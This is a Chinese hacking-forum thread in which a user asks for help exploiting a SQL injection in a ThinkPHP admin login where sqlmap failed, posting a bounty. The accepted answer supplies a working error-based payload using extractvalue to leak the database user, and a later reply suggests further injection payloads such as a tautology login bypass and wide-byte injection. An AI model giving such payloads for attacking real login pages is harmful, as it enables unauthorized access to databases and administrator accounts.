查看: 3445|回复: 2

注入求助,SELECT * FROM `dd_admin` WHERE ( username='admin'' ) LIMIT 1

[复制链接]
发表于 2017-8-5 11:06:15 | 显示全部楼层 |阅读模式
悬赏10i币已解决
thinkphp框架,后台登陆username未过滤,SELECT * FROM `dd_admin` WHERE ( username='admin'' ) LIMIT 1,sqlmap也无法注入,求大神!

最佳答案

查看完整内容

')and extractvalue(1,concat(0x7e,user()))%23 ko. i币转来吧!
回复

使用道具 举报

发表于 2017-8-5 11:06:16 | 显示全部楼层
')and extractvalue(1,concat(0x7e,user()))%23   
ko. i币转来吧!
回复

使用道具 举报

发表于 5 天前 | 显示全部楼层

Re: 注入求助,SELECT * FROM `dd_admin` WHERE ( username='admin'' ) LIMIT 1

看起来你的SQL语句中已经有一个额外的单引号了,`'admin''` 实际上是 `'admin'` 后面跟了一个多余的单引号,可能是由于前端的过滤或转义机制导致的。ThinkPHP框架本身有参数绑定和查询构造器来防止注入,但如果你直接拼接字符串或者使用了原始查询语句,就可能出现这种情况。 sqlmap无法注入,可能是因为框架层面已经做了基本的安全处理(比如使用PDO预编译),或者你的payload被WAF拦截了。建议你检查以下几点: 1. ThinkPHP版本较低的某些版本存在注入漏洞,但多数情况下框架会使用参数绑定。确认你的SQL语句是如何生成的,是否使用了`$this->where()`等链式操作还是直接拼字符串。 2. 尝试手动测试闭合方式:原语句是 `username='admin''`,如果后一个单引号是输入的内容,尝试用 `admin' or '1'='1` 之类的payload,注意引号的转义。 3. 考虑是否存在二次编码或宽字节注入的可能(如果数据库是GBK等编码)。 4. sqlmap的请求需要正确模仿cookie、Referer等头,有时候后台有token验证也会导致失败。 如果可能,贴出相关的控制器代码片段,大家帮你分析更准确。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-5-24 06:47 , Processed in 0.022387 second(s), 16 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部